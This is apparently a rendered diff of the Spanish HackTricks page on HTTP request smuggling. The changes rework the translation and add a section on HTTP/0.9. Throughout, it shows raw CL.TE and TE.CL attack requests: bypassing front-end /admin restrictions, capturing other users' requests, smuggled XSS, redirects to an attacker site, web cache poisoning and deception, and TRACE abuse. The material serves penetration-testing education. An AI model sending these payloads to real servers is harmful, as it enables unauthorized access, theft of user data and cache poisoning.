Por ejemplo, como se explica en [**este artículo**](https://mizu.re/post/twisty-python), en Werkzeug era posible enviar algunos caracteres **Unicode** y hará que el servidor **falle**. Sin embargo, si la conexión HTTP se creó con el encabezado **`Connection: keep-alive`**, el cuerpo de la solicitud no se leerá y la conexión seguirá abierta, por lo que el **cuerpo** de la solicitud se tratará como la **siguiente solicitud HTTP**.
|
||||||
|
|
||||||
#### Forzando a través de encabezados hop-by-hop
|
#### Forzando a través de encabezados hop-by-hop
|
||||||
|
|
||||||
Abusando de los encabezados hop-by-hop, podrías indicar al proxy que **elimine el encabezado Content-Length o Transfer-Encoding para que sea posible abusar de una solicitud HTTP smuggling**.
|
Abusando de los encabezados hop-by-hop, podrías indicar al proxy que **elimine el encabezado Content-Length o Transfer-Encoding para que sea posible abusar de una solicitud HTTP smuggling**.
|
||||||
|
@ -199,7 +205,7 @@ A
|
||||||
0
|
0
|
||||||
```
|
```
|
||||||
* **Observación:**
|
* **Observación:**
|
||||||
* El servidor de front-end procesa la solicitud basándose en `Content-Length` y corta el mensaje prematuramente.
|
* El servidor de front-end procesa la solicitud en función de `Content-Length` y corta el mensaje prematuramente.
|
||||||
* El servidor de back-end, esperando un mensaje fragmentado, espera el siguiente fragmento que nunca llega, causando un retraso.
|
* El servidor de back-end, esperando un mensaje fragmentado, espera el siguiente fragmento que nunca llega, causando un retraso.
|
||||||
* **Indicadores:**
|
* **Indicadores:**
|
||||||
* Tiempos de espera o largos retrasos en la respuesta.
|
* Tiempos de espera o largos retrasos en la respuesta.
|
||||||
|
@ -222,8 +228,8 @@ Content-Length: 6
|
||||||
X
|
X
|
||||||
```
|
```
|
||||||
* **Observación:**
|
* **Observación:**
|
||||||
* El servidor de front-end procesa la solicitud basándose en `Transfer-Encoding` y reenvía el mensaje completo.
|
* El servidor de front-end procesa la solicitud en función de `Transfer-Encoding` y reenvía el mensaje completo.
|
||||||
* El servidor de back-end, esperando un mensaje basado en `Content-Length`, espera datos adicionales que nunca llegan, causando un retraso.
|
* El servidor de back-end, esperando un mensaje en función de `Content-Length`, espera datos adicionales que nunca llegan, causando un retraso.
|
||||||
|
|
||||||
### Otros Métodos para Encontrar Vulnerabilidades
|
### Otros Métodos para Encontrar Vulnerabilidades
|
||||||
|
|
||||||
|
@ -238,25 +244,25 @@ X
|
||||||
|
|
||||||
### Pruebas de Vulnerabilidad de HTTP Request Smuggling
|
### Pruebas de Vulnerabilidad de HTTP Request Smuggling
|
||||||
|
|
||||||
Después de confirmar la efectividad de las técnicas de temporización, es crucial verificar si las solicitudes de los clientes pueden ser manipuladas. Un método sencillo es intentar envenenar tus solicitudes, por ejemplo, haciendo que una solicitud a `/` genere una respuesta 404. Los ejemplos de `CL.TE` y `TE.CL` discutidos anteriormente en [Ejemplos Básicos](./#basic-examples) muestran cómo envenenar una solicitud del cliente para provocar una respuesta 404, a pesar de que el cliente intenta acceder a un recurso diferente.
|
Después de confirmar la efectividad de las técnicas de temporización, es crucial verificar si las solicitudes de los clientes pueden ser manipuladas. Un método sencillo es intentar envenenar tus solicitudes, por ejemplo, haciendo que una solicitud a `/` genere una respuesta 404. Los ejemplos de `CL.TE` y `TE.CL` discutidos anteriormente en [Ejemplos Básicos](./#basic-examples) muestran cómo envenenar una solicitud de cliente para provocar una respuesta 404, a pesar de que el cliente intenta acceder a un recurso diferente.
|
||||||
|
|
||||||
**Consideraciones Clave**
|
**Consideraciones Clave**
|
||||||
|
|
||||||
Al probar vulnerabilidades de request smuggling al interferir con otras solicitudes, ten en cuenta:
|
Al probar vulnerabilidades de request smuggling al interferir con otras solicitudes, ten en cuenta:
|
||||||
|
|
||||||
* **Conexiones de Red Distintas:** Las solicitudes "de ataque" y "normales" deben enviarse a través de conexiones de red separadas. Utilizar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
|
* **Conexiones de Red Distintas:** Las solicitudes "de ataque" y "normales" deben enviarse a través de conexiones de red separadas. Utilizar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
|
||||||
* **URL y Parámetros Consistentes:** Intenta utilizar URLs idénticas y nombres de parámetros para ambas solicitudes. Las aplicaciones modernas a menudo dirigen las solicitudes a servidores de back-end específicos según la URL y los parámetros. Coincidir con estos aumenta la probabilidad de que ambas solicitudes sean procesadas por el mismo servidor, un requisito previo para un ataque exitoso.
|
* **URL y Parámetros Consistentes:** Intenta utilizar URLs idénticas y nombres de parámetros para ambas solicitudes. Las aplicaciones modernas a menudo dirigen las solicitudes a servidores de back-end específicos en función de la URL y los parámetros. Coincidir con estos aumenta la probabilidad de que ambas solicitudes sean procesadas por el mismo servidor, un requisito previo para un ataque exitoso.
|
||||||
* **Temporización y Condiciones de Carrera:** La solicitud "normal", destinada a detectar la interferencia de la solicitud "de ataque", compite contra otras solicitudes de aplicación concurrentes. Por lo tanto, envía la solicitud "normal" inmediatamente después de la solicitud "de ataque". Las aplicaciones ocupadas pueden requerir múltiples pruebas para confirmar la vulnerabilidad de manera concluyente.
|
* **Temporización y Condiciones de Carrera:** La solicitud "normal", destinada a detectar la interferencia de la solicitud "de ataque", compite contra otras solicitudes de aplicación concurrentes. Por lo tanto, envía la solicitud "normal" inmediatamente después de la solicitud "de ataque". Las aplicaciones ocupadas pueden requerir múltiples pruebas para confirmar la vulnerabilidad de manera concluyente.
|
||||||
* **Desafíos de Balanceo de Carga:** Los servidores de front-end que actúan como balanceadores de carga pueden distribuir solicitudes en varios sistemas de back-end. Si las solicitudes "de ataque" y "normales" terminan en sistemas diferentes, el ataque no tendrá éxito. Este aspecto del balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
|
* **Desafíos de Balanceo de Carga:** Los servidores de front-end que actúan como balanceadores de carga pueden distribuir las solicitudes en varios sistemas de back-end. Si las solicitudes "de ataque" y "normales" terminan en sistemas diferentes, el ataque no tendrá éxito. Este aspecto del balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
|
||||||
* **Impacto no Intencionado en el Usuario:** Si tu ataque afecta inadvertidamente la solicitud de otro usuario (no la solicitud "normal" que enviaste para la detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, lo que requiere un enfoque cauteloso.
|
* **Impacto no Intencionado en el Usuario:** Si tu ataque afecta inadvertidamente a la solicitud de otro usuario (no la solicitud "normal" que enviaste para la detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, lo que requiere un enfoque cauteloso.
|
||||||
|
|
||||||
## Abusando de HTTP Request Smuggling
|
## Abusando de HTTP Request Smuggling
|
||||||
|
|
||||||
### Circunvalando la Seguridad de Front-End a través de HTTP Request Smuggling
|
### Eludir la Seguridad de Front-End a través de HTTP Request Smuggling
|
||||||
|
|
||||||
A veces, los proxies de front-end imponen medidas de seguridad, escrutando las solicitudes entrantes. Sin embargo, estas medidas pueden ser eludidas explotando HTTP Request Smuggling, permitiendo el acceso no autorizado a puntos finales restringidos. Por ejemplo, acceder a `/admin` podría estar prohibido externamente, con el proxy de front-end bloqueando activamente tales intentos. No obstante, este proxy puede omitir inspeccionar las solicitudes incrustadas dentro de una solicitud HTTP smuggled, dejando una brecha para eludir estas restricciones.
|
A veces, los proxies de front-end imponen medidas de seguridad, escrutando las solicitudes entrantes. Sin embargo, estas medidas pueden eludirse explotando HTTP Request Smuggling, permitiendo el acceso no autorizado a puntos finales restringidos. Por ejemplo, acceder a `/admin` podría estar prohibido externamente, con el proxy de front-end bloqueando activamente tales intentos. No obstante, este proxy puede omitir inspeccionar las solicitudes incrustadas dentro de una solicitud HTTP contrabandeada, dejando una brecha para eludir estas restricciones.
|
||||||
|
|
||||||
Considera los siguientes ejemplos que ilustran cómo HTTP Request Smuggling puede ser utilizado para evadir los controles de seguridad de front-end, apuntando específicamente al camino `/admin` que típicamente está protegido por el proxy de front-end:
|
Considera los siguientes ejemplos que ilustran cómo HTTP Request Smuggling puede utilizarse para evadir los controles de seguridad de front-end, apuntando específicamente al camino `/admin` que típicamente está protegido por el proxy de front-end:
|
||||||
|
|
||||||
**Ejemplo de CL.TE**
|
**Ejemplo de CL.TE**
|
||||||
```
|
```
|
||||||
|
@ -295,11 +301,11 @@ a=x
|
||||||
```
|
```
|
||||||
Por el contrario, en el ataque TE.CL, la solicitud `POST` inicial utiliza `Transfer-Encoding: chunked`, y la solicitud incrustada posterior se procesa en función del encabezado `Content-Length`. Similar al ataque CL.TE, el proxy de front-end pasa por alto la solicitud `GET /admin` infiltrada, otorgando inadvertidamente acceso al camino restringido `/admin`.
|
Por el contrario, en el ataque TE.CL, la solicitud `POST` inicial utiliza `Transfer-Encoding: chunked`, y la solicitud incrustada posterior se procesa en función del encabezado `Content-Length`. Similar al ataque CL.TE, el proxy de front-end pasa por alto la solicitud `GET /admin` infiltrada, otorgando inadvertidamente acceso al camino restringido `/admin`.
|
||||||
|
|
||||||
### Revelación de la reescritura de solicitudes de front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
### Revelando la reescritura de solicitudes de front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||||
|
|
||||||
Las aplicaciones a menudo emplean un **servidor de front-end** para modificar las solicitudes entrantes antes de enviarlas al servidor de back-end. Una modificación típica implica agregar encabezados, como `X-Forwarded-For: <IP del cliente>`, para transmitir la IP del cliente al back-end. Comprender estas modificaciones puede ser crucial, ya que podría revelar formas de **burlar protecciones** o **descubrir información o puntos finales ocultos**.
|
Las aplicaciones a menudo emplean un **servidor de front-end** para modificar las solicitudes entrantes antes de enviarlas al servidor de back-end. Una modificación típica implica agregar encabezados, como `X-Forwarded-For: <IP del cliente>`, para transmitir la IP del cliente al back-end. Comprender estas modificaciones puede ser crucial, ya que podría revelar formas de **burlar protecciones** o **descubrir información o puntos finales ocultos**.
|
||||||
|
|
||||||
Para investigar cómo un proxy altera una solicitud, localiza un parámetro POST que el back-end repite en la respuesta. Luego, crea una solicitud, utilizando este parámetro al final, similar a la siguiente:
|
Para investigar cómo un proxy altera una solicitud, localiza un parámetro POST que el back-end refleja en la respuesta. Luego, crea una solicitud, utilizando este parámetro al final, similar a la siguiente:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: vulnerable-website.com
|
Host: vulnerable-website.com
|
||||||
|
@ -350,16 +356,16 @@ En este escenario, el **parámetro de comentario** está destinado a almacenar e
|
||||||
|
|
||||||
Sin embargo, esta técnica tiene limitaciones. Generalmente, captura datos solo hasta el delimitador de parámetros utilizado en la solicitud contrabandeada. Para envíos de formularios codificados en URL, este delimitador es el carácter `&`. Esto significa que el contenido capturado de la solicitud del usuario víctima se detendrá en el primer `&`, que incluso puede ser parte de la cadena de consulta.
|
Sin embargo, esta técnica tiene limitaciones. Generalmente, captura datos solo hasta el delimitador de parámetros utilizado en la solicitud contrabandeada. Para envíos de formularios codificados en URL, este delimitador es el carácter `&`. Esto significa que el contenido capturado de la solicitud del usuario víctima se detendrá en el primer `&`, que incluso puede ser parte de la cadena de consulta.
|
||||||
|
|
||||||
Además, vale la pena señalar que este enfoque también es viable con una vulnerabilidad TE.CL. En tales casos, la solicitud debe concluir con `search=\r\n0`. Independientemente de los caracteres de nueva línea, los valores se agregarán al parámetro de búsqueda.
|
Además, es importante tener en cuenta que este enfoque también es viable con una vulnerabilidad TE.CL. En tales casos, la solicitud debe concluir con `search=\r\n0`. Independientemente de los caracteres de nueva línea, los valores se agregarán al parámetro de búsqueda.
|
||||||
|
|
||||||
### Usar el contrabando de solicitudes HTTP para explotar XSS reflejado
|
### Utilizando el contrabando de solicitudes HTTP para explotar XSS reflejado
|
||||||
|
|
||||||
El contrabando de solicitudes HTTP se puede aprovechar para explotar páginas web vulnerables a **XSS Reflejado**, ofreciendo ventajas significativas:
|
El contrabando de solicitudes HTTP se puede aprovechar para explotar páginas web vulnerables a **XSS Reflejado**, ofreciendo ventajas significativas:
|
||||||
|
|
||||||
* No se requiere **interacción** con los usuarios objetivo.
|
* No se requiere **interacción** con los usuarios objetivo.
|
||||||
* Permite la explotación de XSS en partes de la solicitud que son **normalmente inaccesibles**, como los encabezados de solicitud HTTP.
|
* Permite la explotación de XSS en partes de la solicitud que son **normalmente inaccesibles**, como las cabeceras de solicitud HTTP.
|
||||||
|
|
||||||
En escenarios donde un sitio web es susceptible a XSS Reflejado a través del encabezado User-Agent, la siguiente carga útil demuestra cómo explotar esta vulnerabilidad:
|
En escenarios donde un sitio web es susceptible a XSS Reflejado a través de la cabecera User-Agent, la siguiente carga útil demuestra cómo explotar esta vulnerabilidad:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||||
|
@ -383,11 +389,21 @@ A=
|
||||||
Este payload está estructurado para explotar la vulnerabilidad mediante:
|
Este payload está estructurado para explotar la vulnerabilidad mediante:
|
||||||
|
|
||||||
1. Iniciar una solicitud `POST`, aparentemente típica, con un encabezado `Transfer-Encoding: chunked` para indicar el inicio del smuggling.
|
1. Iniciar una solicitud `POST`, aparentemente típica, con un encabezado `Transfer-Encoding: chunked` para indicar el inicio del smuggling.
|
||||||
2. Continuar con un `0`, marcando el final del cuerpo del mensaje chunked.
|
2. Seguir con un `0`, marcando el final del cuerpo del mensaje chunked.
|
||||||
3. Luego, se introduce una solicitud `GET` smuggled, donde el encabezado `User-Agent` se inyecta con un script, `<script>alert(1)</script>`, desencadenando el XSS cuando el servidor procesa esta solicitud subsecuente.
|
3. Luego, se introduce una solicitud `GET` smuggled, donde el encabezado `User-Agent` es inyectado con un script, `<script>alert(1)</script>`, desencadenando el XSS cuando el servidor procesa esta solicitud subsecuente.
|
||||||
|
|
||||||
Al manipular el `User-Agent` a través del smuggling, el payload evade las restricciones normales de la solicitud, explotando así la vulnerabilidad de Reflected XSS de una manera no estándar pero efectiva.
|
Al manipular el `User-Agent` a través del smuggling, el payload evade las restricciones normales de la solicitud, explotando así la vulnerabilidad de Reflected XSS de una manera no estándar pero efectiva.
|
||||||
|
|
||||||
|
#### HTTP/0.9
|
||||||
|
|
||||||
|
{% hint style="danger" %}
|
||||||
|
En caso de que el contenido del usuario se refleje en una respuesta con un **`Content-type`** como **`text/plain`**, evitando la ejecución del XSS. ¡Si el servidor soporta **HTTP/0.9 podría ser posible evadir esto**!
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
La versión HTTP/0.9 fue anterior a la 1.0 y solo usa verbos **GET** y **no** responde con **encabezados**, solo el cuerpo.
|
||||||
|
|
||||||
|
En [**este artículo**](https://mizu.re/post/twisty-python), esto fue abusado con un smuggling de solicitud y un **punto final vulnerable que responderá con la entrada del usuario** para contrabandear una solicitud con HTTP/0.9. El parámetro que se reflejará en la respuesta contenía una **respuesta falsa de HTTP/1.1 (con encabezados y cuerpo)**, por lo que la respuesta contendrá código JS ejecutable válido con un `Content-Type` de `text/html`.
|
||||||
|
|
||||||
### Explotando Redirecciones en el Sitio con HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
### Explotando Redirecciones en el Sitio con HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||||
|
|
||||||
Las aplicaciones a menudo redirigen de una URL a otra utilizando el nombre de host del encabezado `Host` en la URL de redirección. Esto es común en servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra diagonal al final resulta en una redirección para incluir la barra:
|
Las aplicaciones a menudo redirigen de una URL a otra utilizando el nombre de host del encabezado `Host` en la URL de redirección. Esto es común en servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra diagonal al final resulta en una redirección para incluir la barra:
|
||||||
|
@ -414,7 +430,7 @@ GET /home HTTP/1.1
|
||||||
Host: attacker-website.com
|
Host: attacker-website.com
|
||||||
Foo: X
|
Foo: X
|
||||||
```
|
```
|
||||||
Esta solicitud contrabandeada podría hacer que la próxima solicitud de usuario procesada sea redirigida a un sitio web controlado por un atacante:
|
Esta solicitud contrabandeada podría hacer que la siguiente solicitud de usuario procesada sea redirigida a un sitio web controlado por un atacante:
|
||||||
```
|
```
|
||||||
GET /home HTTP/1.1
|
GET /home HTTP/1.1
|
||||||
Host: attacker-website.com
|
Host: attacker-website.com
|
||||||
|
@ -426,15 +442,15 @@ Resultados en:
|
||||||
HTTP/1.1 301 Moved Permanently
|
HTTP/1.1 301 Moved Permanently
|
||||||
Location: https://attacker-website.com/home/
|
Location: https://attacker-website.com/home/
|
||||||
```
|
```
|
||||||
En este escenario, la solicitud de un usuario de un archivo JavaScript es secuestrada. El atacante potencialmente puede comprometer al usuario sirviendo JavaScript malicioso en respuesta.
|
En este escenario, la solicitud de un usuario de un archivo JavaScript es secuestrada. El atacante potencialmente puede comprometer al usuario sirviendo JavaScript malicioso como respuesta.
|
||||||
|
|
||||||
### Explotando la Contaminación de Caché Web a través de la Manipulación de Solicitudes HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### Explotando la Contaminación de Caché Web a través de la Manipulación de Solicitudes HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
La contaminación de caché web puede ser ejecutada si algún componente de la **infraestructura del front-end almacena en caché contenido**, típicamente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible **contaminar la caché**.
|
La contaminación de caché web puede llevarse a cabo si algún componente de la **infraestructura del front-end almacena en caché contenido**, típicamente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible **contaminar la caché**.
|
||||||
|
|
||||||
Anteriormente, observamos cómo las respuestas del servidor podían ser alteradas para devolver un error 404 (consulte [Ejemplos Básicos](./#basic-examples)). De manera similar, es factible engañar al servidor para que entregue el contenido de `/index.html` en respuesta a una solicitud de `/static/include.js`. En consecuencia, el contenido de `/static/include.js` se reemplaza en la caché por el de `/index.html`, haciendo que `/static/include.js` sea inaccesible para los usuarios, lo que potencialmente lleva a una Denegación de Servicio (DoS).
|
Anteriormente, observamos cómo las respuestas del servidor podían ser alteradas para devolver un error 404 (consulte [Ejemplos Básicos](./#basic-examples)). De manera similar, es factible engañar al servidor para que entregue el contenido de `/index.html` en respuesta a una solicitud de `/static/include.js`. En consecuencia, el contenido de `/static/include.js` se reemplaza en la caché por el de `/index.html`, haciendo que `/static/include.js` sea inaccesible para los usuarios, lo que potencialmente puede llevar a un Denegación de Servicio (DoS).
|
||||||
|
|
||||||
Esta técnica se vuelve particularmente potente si se descubre una **vulnerabilidad de Redirección Abierta** o si hay una **redirección en el sitio a una redirección abierta**. Estas vulnerabilidades pueden ser explotadas para reemplazar el contenido en caché de `/static/include.js` con un script bajo el control del atacante, lo que permite efectivamente un ataque generalizado de Cross-Site Scripting (XSS) contra todos los clientes que solicitan el `/static/include.js` actualizado.
|
Esta técnica se vuelve particularmente potente si se descubre una **vulnerabilidad de Redirección Abierta** o si hay una **redirección en el sitio a una redirección abierta**. Estas vulnerabilidades pueden ser explotadas para reemplazar el contenido en caché de `/static/include.js` con un script bajo el control del atacante, lo que permite efectivamente un ataque generalizado de Cross-Site Scripting (XSS) contra todos los clientes que soliciten el `/static/include.js` actualizado.
|
||||||
|
|
||||||
A continuación se muestra una ilustración de la explotación de **contaminación de caché combinada con una redirección en el sitio a una redirección abierta**. El objetivo es alterar el contenido en caché de `/static/include.js` para servir código JavaScript controlado por el atacante:
|
A continuación se muestra una ilustración de la explotación de **contaminación de caché combinada con una redirección en el sitio a una redirección abierta**. El objetivo es alterar el contenido en caché de `/static/include.js` para servir código JavaScript controlado por el atacante:
|
||||||
```
|
```
|
||||||
|
@ -454,20 +470,20 @@ Content-Length: 10
|
||||||
|
|
||||||
x=1
|
x=1
|
||||||
```
|
```
|
||||||
Ten en cuenta la solicitud incrustada dirigida a `/post/next?postId=3`. Esta solicitud será redirigida a `/post?postId=4`, utilizando el valor del **encabezado Host** para determinar el dominio. Al alterar el **encabezado Host**, el atacante puede redirigir la solicitud a su dominio (**redirección interna a redirección abierta**).
|
Tenga en cuenta la solicitud incrustada dirigida a `/post/next?postId=3`. Esta solicitud será redirigida a `/post?postId=4`, utilizando el **valor del encabezado Host** para determinar el dominio. Al alterar el **encabezado Host**, el atacante puede redirigir la solicitud a su dominio (**redirección interna a redirección abierta**).
|
||||||
|
|
||||||
Después de un exitoso **envenenamiento de socket**, se debe iniciar una solicitud **GET** para `/static/include.js`. Esta solicitud será contaminada por la solicitud previa de **redirección interna a redirección abierta** y obtendrá el contenido del script controlado por el atacante.
|
Después de un exitoso **envenenamiento de socket**, se debe iniciar una solicitud **GET** para `/static/include.js`. Esta solicitud será contaminada por la solicitud previa de **redirección interna a redirección abierta** y obtendrá el contenido del script controlado por el atacante.
|
||||||
|
|
||||||
Posteriormente, cualquier solicitud para `/static/include.js` servirá el contenido en caché del script del atacante, lanzando efectivamente un amplio ataque XSS.
|
Posteriormente, cualquier solicitud para `/static/include.js` servirá el contenido en caché del script del atacante, lanzando efectivamente un amplio ataque XSS.
|
||||||
|
|
||||||
### Usando el contrabando de solicitudes HTTP para realizar engaño de caché web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
### Uso del contrabando de solicitudes HTTP para realizar engaño de caché web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||||
|
|
||||||
> **¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?**
|
> **¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?**
|
||||||
>
|
>
|
||||||
> * En el **envenenamiento de caché web**, el atacante hace que la aplicación almacene algún contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
|
> * En el **envenenamiento de caché web**, el atacante hace que la aplicación almacene algún contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
|
||||||
> * En el **engaño de caché web**, el atacante hace que la aplicación almacene algún contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
|
> * En el **engaño de caché web**, el atacante hace que la aplicación almacene algún contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
|
||||||
|
|
||||||
El atacante crea una solicitud contrabandeada que obtiene contenido sensible específico del usuario. Considera el siguiente ejemplo:
|
El atacante crea una solicitud contrabandeada que obtiene contenido sensible específico del usuario. Considere el siguiente ejemplo:
|
||||||
```markdown
|
```markdown
|
||||||
`POST / HTTP/1.1`\
|
`POST / HTTP/1.1`\
|
||||||
`Host: vulnerable-website.com`\
|
`Host: vulnerable-website.com`\
|
||||||
|
@ -480,7 +496,7 @@ El atacante crea una solicitud contrabandeada que obtiene contenido sensible esp
|
||||||
```
|
```
|
||||||
Si esta solicitud contrabandeada envenena una entrada de caché destinada a contenido estático (por ejemplo, `/someimage.png`), los datos sensibles de la víctima de `/private/messages` podrían ser almacenados en la entrada de caché del contenido estático. En consecuencia, el atacante podría potencialmente recuperar estos datos sensibles almacenados en caché.
|
Si esta solicitud contrabandeada envenena una entrada de caché destinada a contenido estático (por ejemplo, `/someimage.png`), los datos sensibles de la víctima de `/private/messages` podrían ser almacenados en la entrada de caché del contenido estático. En consecuencia, el atacante podría potencialmente recuperar estos datos sensibles almacenados en caché.
|
||||||
|
|
||||||
### Abuso de TRACE a través de HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### Abusando de TRACE a través de HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
[**En esta publicación**](https://portswigger.net/research/trace-desync-attack) se sugiere que si el servidor tiene habilitado el método TRACE, podría ser posible abusar de él con un HTTP Request Smuggling. Esto se debe a que este método reflejará cualquier encabezado enviado al servidor como parte del cuerpo de la respuesta. Por ejemplo:
|
[**En esta publicación**](https://portswigger.net/research/trace-desync-attack) se sugiere que si el servidor tiene habilitado el método TRACE, podría ser posible abusar de él con un HTTP Request Smuggling. Esto se debe a que este método reflejará cualquier encabezado enviado al servidor como parte del cuerpo de la respuesta. Por ejemplo:
|
||||||
```
|
```
|
||||||
|
@ -507,7 +523,7 @@ Esta respuesta se enviará a la siguiente solicitud a través de la conexión, p
|
||||||
|
|
||||||
Continuar siguiendo [**este post**](https://portswigger.net/research/trace-desync-attack) sugiere otra forma de abusar del método TRACE. Como se comentó, contrabandear una solicitud HEAD y una solicitud TRACE es posible **controlar algunos datos reflejados** en la respuesta a la solicitud HEAD. La longitud del cuerpo de la solicitud HEAD está básicamente indicada en el encabezado Content-Length y está formada por la respuesta a la solicitud TRACE.
|
Continuar siguiendo [**este post**](https://portswigger.net/research/trace-desync-attack) sugiere otra forma de abusar del método TRACE. Como se comentó, contrabandear una solicitud HEAD y una solicitud TRACE es posible **controlar algunos datos reflejados** en la respuesta a la solicitud HEAD. La longitud del cuerpo de la solicitud HEAD está básicamente indicada en el encabezado Content-Length y está formada por la respuesta a la solicitud TRACE.
|
||||||
|
|
||||||
Por lo tanto, la nueva idea sería que, sabiendo este Content-Length y los datos dados en la respuesta TRACE, es posible hacer que la respuesta TRACE contenga una respuesta HTTP válida después del último byte del Content-Length, lo que permite a un atacante controlar completamente la solicitud a la próxima respuesta (que podría ser utilizada para realizar un envenenamiento de caché).
|
Por lo tanto, la nueva idea sería que, sabiendo este Content-Length y los datos dados en la respuesta TRACE, es posible hacer que la respuesta TRACE contenga una respuesta HTTP válida después del último byte del Content-Length, lo que permite a un atacante controlar completamente la solicitud a la siguiente respuesta (que podría ser utilizada para realizar un envenenamiento de caché).
|
||||||
|
|
||||||
Ejemplo:
|
Ejemplo:
|
||||||
```
|
```
|
||||||
|
@ -549,23 +565,23 @@ Content-Length: 50
|
||||||
|
|
||||||
<script>alert(“arbitrary response”)</script>
|
<script>alert(“arbitrary response”)</script>
|
||||||
```
|
```
|
||||||
### Armando HTTP Request Smuggling con Desincronización de Respuesta HTTP
|
### Armando un Ataque con Smuggling de Peticiones HTTP con Desincronización de Respuesta HTTP
|
||||||
|
|
||||||
¿Has encontrado alguna vulnerabilidad de HTTP Request Smuggling y no sabes cómo explotarla? Prueba este otro método de explotación:
|
¿Has encontrado alguna vulnerabilidad de Smuggling de Peticiones HTTP y no sabes cómo explotarla? Prueba este otro método de explotación:
|
||||||
|
|
||||||
{% content-ref url="../http-response-smuggling-desync.md" %}
|
{% content-ref url="../http-response-smuggling-desync.md" %}
|
||||||
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Otras Técnicas de HTTP Request Smuggling
|
### Otras Técnicas de Smuggling de Peticiones HTTP
|
||||||
|
|
||||||
* HTTP Request Smuggling en el Navegador (Lado del Cliente)
|
* Smuggling de Peticiones HTTP en el Navegador (Lado del Cliente)
|
||||||
|
|
||||||
{% content-ref url="browser-http-request-smuggling.md" %}
|
{% content-ref url="browser-http-request-smuggling.md" %}
|
||||||
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
|
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* Request Smuggling en Downgrades de HTTP/2
|
* Smuggling de Peticiones en Downgrades de HTTP/2
|
||||||
|
|
||||||
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
|
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
|
||||||
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
|
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
|
||||||
|
@ -680,7 +696,7 @@ table.add(req)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Otras formas de apoyar a HackTricks:
|
Otras formas de apoyar a HackTricks:
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue